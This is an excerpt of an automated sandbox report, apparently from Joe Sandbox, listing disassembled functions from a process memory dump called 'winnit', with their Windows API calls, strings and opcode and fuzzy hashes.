                                          • Instruction ID: 93681ad5f84dc9df92b6e23adfccbf15b9f1a964282720d2137fdeefe52074e1
                                          • Opcode Fuzzy Hash: 482331c395d85c2b932bc1ab84279efe2dfa32c480e6a342f4529f5ce5e67104
                                          • Instruction Fuzzy Hash: 9F014171A01218ABCF04EBA0CC828FE3BA8EF01360B040A99F865572E2DE301908C650
                                          Function 00B18D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __fread_nolock_memmove
                                          • String ID: EA06
                                          • API String ID: 1988441806-3962188686
                                          • Opcode ID: 65cb51ebcc62486bf967f2e489029c66426f12c85a2ba6dbdf27aaeccc57ee88
                                          • Instruction ID: e3928c17c3e26db4e2ac7a6cb6b98420dd649e0255a44cdb8eb818867ad78e1a
                                          • Opcode Fuzzy Hash: 65cb51ebcc62486bf967f2e489029c66426f12c85a2ba6dbdf27aaeccc57ee88
                                          • Instruction Fuzzy Hash: A801B971D042187EDB18CAA8D856EEE7BF8DB15311F0045AFF553D2281E979E6048B60
                                          Function 00B08CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,00000180,00000000,?), ref: 00B08D6B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassMessageNameSend_memmove
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 372448540-1403004172
                                          • Opcode ID: 3ffa267049666a36a6dfbc220c315f7fdd54a474bb786d10309f7f6f2e0925d2
                                          • Instruction ID: 970a208ac3071eba67ca3a6cacb54e5c86cc7bc2e143ee826b4cb72683b49717
                                          • Opcode Fuzzy Hash: 3ffa267049666a36a6dfbc220c315f7fdd54a474bb786d10309f7f6f2e0925d2
                                          • Instruction Fuzzy Hash: 9D01D471B41109ABCF14EBE0CA96AFF7BECDF15340F1401A9B845632E2DE145E08D671
                                          Function 00B08D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,00000182,?,00000000), ref: 00B08DEE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassMessageNameSend_memmove
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 372448540-1403004172
                                          • Opcode ID: 10cf2c78fba2b35a1427f8a53e7e5e09f8296be4e9fe8d6eb4e0f6d590cde0a3
                                          • Instruction ID: f283e7021657cc5031e8d196a1db6d2107f7b95b3465ce9ea0df6e4b9dddcf9b
                                          • Opcode Fuzzy Hash: 10cf2c78fba2b35a1427f8a53e7e5e09f8296be4e9fe8d6eb4e0f6d590cde0a3
                                          • Instruction Fuzzy Hash: D101A271B41109A7DF11EBA4CA82AFF7BECDF11350F140669B846632E2DE255E08D671
                                          Function 00B14F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClassName_wcscmp
                                          • String ID: #32770
                                          • API String ID: 2292705959-463685578
                                          • Opcode ID: 87dafa554f8fb70a24c7a01c3104954000790e8ba7541152d027d91b6daed5e0
                                          • Instruction ID: 5ed39ecedf9b127a991e5c07322ba5282fcc0fc5fb231fb23aaab1259f5f9365
                                          • Opcode Fuzzy Hash: 87dafa554f8fb70a24c7a01c3104954000790e8ba7541152d027d91b6daed5e0
                                          • Instruction Fuzzy Hash: 98E0D833A0022D6BD7209B99AC49FA7F7ECEB55B70F000167FD04D3151EA609A4587E1
                                          Function 00AEB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AEB314: _memset.LIBCMT ref: 00AEB321
                                            • Part of subcall function 00AD0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00AEB2F0,?,?,?,00AB100A), ref: 00AD0945
                                          • IsDebuggerPresent.KERNEL32(?,?,?,00AB100A), ref: 00AEB2F4
                                          • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00AB100A), ref: 00AEB303
                                          Strings
                                          • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00AEB2FE
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                          • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                          • API String ID: 3158253471-631824599
                                          • Opcode ID: 656c4806e95a9fa82af15635f40c75ad8e47a9a9573857ac1e1d5bf09d69a1c9
                                          • Instruction ID: c2fe4bc5ef1b009eaa88c29461be44f25fa6a39fbe90f93deb279e1c07e02d0a
                                          • Opcode Fuzzy Hash: 656c4806e95a9fa82af15635f40c75ad8e47a9a9573857ac1e1d5bf09d69a1c9
                                          • Instruction Fuzzy Hash: 26E06D706107428BD7209F29D9097477AE8AF04304F0089ADE886CBA61EBB4D448CBB1
                                          Function 00AF1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSystemDirectoryW.KERNEL32(?), ref: 00AF1775
                                            • Part of subcall function 00B2BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,00AF195E,?), ref: 00B2BFFE
                                            • Part of subcall function 00B2BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00B2C010
                                          • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00AF196D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                          • String ID: WIN_XPe
                                          • API String ID: 582185067-3257408948
                                          • Opcode ID: 575fd02df21e883b14c9188c575e2f718a51f6f582d94649f1a7b0d30ab6440b
                                          • Instruction ID: 564c599023da47f73458ab6a497789e5a0ba90be3f31bfdddc75dfb12f94eea3
                                          • Opcode Fuzzy Hash: 575fd02df21e883b14c9188c575e2f718a51f6f582d94649f1a7b0d30ab6440b
                                          • Instruction Fuzzy Hash: D4F0A57080010DDFDB15EB95DA94AFCBBF8AB18341F640095F20AA31A1DB714F84DF60
                                          Function 00B35998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B359AE
                                          • PostMessageW.USER32(00000000), ref: 00B359B5
                                            • Part of subcall function 00B15244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B152BC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FindMessagePostSleepWindow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 529655941-2988720461
                                          • Opcode ID: 183b5af6e76ca80950a7ae7e17c40051673b2f79df5c0e8b8e1499d9d3a6e22a
                                          • Instruction ID: 25717d25c1790996f5c2cd20906f5971dd010e3e1b63b8f55032fea2dc800056
                                          • Opcode Fuzzy Hash: 183b5af6e76ca80950a7ae7e17c40051673b2f79df5c0e8b8e1499d9d3a6e22a
                                          • Instruction Fuzzy Hash: BAD0C932780712BAE674AB709C0BFEB6655BB64B50F110865B246EB1E0CDE4A800C694
                                          Function 00B35964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B3596E
                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00B35981
                                            • Part of subcall function 00B15244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B152BC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FindMessagePostSleepWindow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 529655941-2988720461
                                          • Opcode ID: 2eb86f184cef51edf0abf16e7ffbb9faf9220af560f395afe967aa2d436f4055
                                          • Instruction ID: cd44127c9e0b403606d6eaf4f46f2cdb95ba78097e98d251c11066f0e00c0138
                                          • Opcode Fuzzy Hash: 2eb86f184cef51edf0abf16e7ffbb9faf9220af560f395afe967aa2d436f4055
                                          • Instruction Fuzzy Hash: DED0C932784712B6E674AB709C1BFEB6A55BB60B50F110865B24AAB1E0CDE4A800C694